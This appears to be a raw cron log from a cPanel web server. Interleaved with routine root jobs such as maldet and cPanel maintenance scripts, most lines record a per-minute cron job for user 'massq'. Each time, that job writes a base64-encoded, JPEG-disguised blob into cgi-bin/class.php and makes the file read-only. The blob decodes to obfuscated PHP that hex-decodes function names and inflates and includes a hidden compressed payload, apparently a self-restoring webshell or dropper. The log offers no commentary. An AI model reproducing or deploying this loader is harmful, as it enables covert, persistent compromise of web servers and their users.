Nov 16 02:44:01 server CROND[8716]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:45:01 server CROND[8840]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:45:01 server CROND[8841]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 02:45:01 server CROND[8842]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 02:46:01 server CROND[9074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:47:01 server CROND[9176]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:47:01 server CROND[9177]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron &gt; /dev/null 2&gt;&amp;1 &gt; /dev/null))
Nov 16 02:48:01 server CROND[9449]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:48:08 server crontab[9479]: (root) LIST (root)
Nov 16 02:48:08 server crontab[9481]: (root) LIST (root)
Nov 16 02:48:13 server crontab[9585]: (root) LIST (root)
Nov 16 02:49:01 server CROND[10216]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:50:01 server CROND[10327]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 02:50:01 server CROND[10328]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 02:50:01 server CROND[10329]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 02:50:01 server CROND[10331]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 16 02:50:01 server CROND[10332]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:51:01 server CROND[10489]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:52:01 server CROND[10580]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:53:01 server CROND[10688]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:54:01 server CROND[10782]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:55:01 server CROND[10988]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:55:01 server CROND[10989]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 02:55:01 server CROND[10990]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 02:56:01 server CROND[11183]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
